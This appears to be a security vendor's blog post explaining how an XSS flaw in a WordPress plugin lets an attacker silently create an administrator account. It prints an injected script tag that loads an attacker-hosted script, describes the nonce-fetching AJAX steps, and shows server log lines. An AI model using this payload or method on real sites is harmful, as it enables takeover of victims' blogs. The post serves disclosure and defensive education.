The impact of an XSS vulnerability on WordPress: How hackers exploit XSS vulnerabilities to create admin accounts on your blog.

Revision: August 12, 2021

Every time we disclose a Cross Site Scripting (XSS) vulnerability in a WordPress plugin or theme, we always illustrate the issue with a screenshot similar to this one:

Users who aren’t familiar with web security often ask us how a JavaScript messagebox may represent a dangerous threat. The answer is simple: not only JS code can do whatever a browser can do but, because it is running in the user’s browser, it also inherits the privileges of that user. Therefore, if you were a logged-in WordPress administrator, the JavaScript code could do everything that you, the admin, could do: creating new posts or pages, changing the blog settings or adding new admin users among many other actions. For that reason, hackers exploit known or unknown (a.k.a. zero-day) XSS vulnerabilities to specifically target the WordPress administrator.

Proof of concept

As a proof of concept, I wrote the following JavaScript code:

Its size is only 253 bytes, but that’s enough: using AJAX, it sends an HTTP GET request to the WordPress “/wp-admin/user-new.php” script, retrieves the _wpnonce_create-user security nonce in the output and uses it to send a POST request to the same script to create a “foobar” admin account. I uploaded it to a local machine at “http://127.0.0.1/script.js”.
Note that in the following video, I’m using the OneTone unauthenticated XSS vulnerability we disclosed a few weeks ago, but any XSS vulnerability will do:

  1. From a terminal, the unauthenticated attacker uses the curl command to send a POST request to inject the malicious script (<script src='//127.0.0.1/script.js'></script>) into the front-end page. The injected code can be seen in the source of the page.
  2. The admin logs in, and we can see there’s only one admin user registered on the blog.
  3. The admin quickly visits the front-end, while being logged-in: the malicious JavaScript code is silently triggered in the background.
  4. A new “foobar” admin account was successfully created.

The exploit is transparent to the victim, but if we check the HTTP server log, we can see the two requests sent by the script:

127.0.0.1 - - [14/Sep/2020:10:52:50 +0700] "GET /wp-admin/user-new.php HTTP/1.1" 200 229345 "http://example.com/" "" "-" "example.com"
127.0.0.1 - - [14/Sep/2020:10:52:50 +0700] "POST /wp-admin/user-new.php HTTP/1.1" 302 5 "http://example.com/" "" "-" "example.com"

As we saw in this proof of concept, exploiting simple XSS vulnerabilities in WordPress plugins and themes is easy and can lead to some very serious consequences, including remote code execution.

Protection

XSS vulnerabilities can be blocked by using a web application firewall such as our NinjaFirewall (WP Edition) WAF plugin. Both the free and premium version include a powerful filtering engine. Extra layers of security like Content Security Policy, which too can be configured with NinjaFirewall, can also help to better protect the administrator from XSS attacks.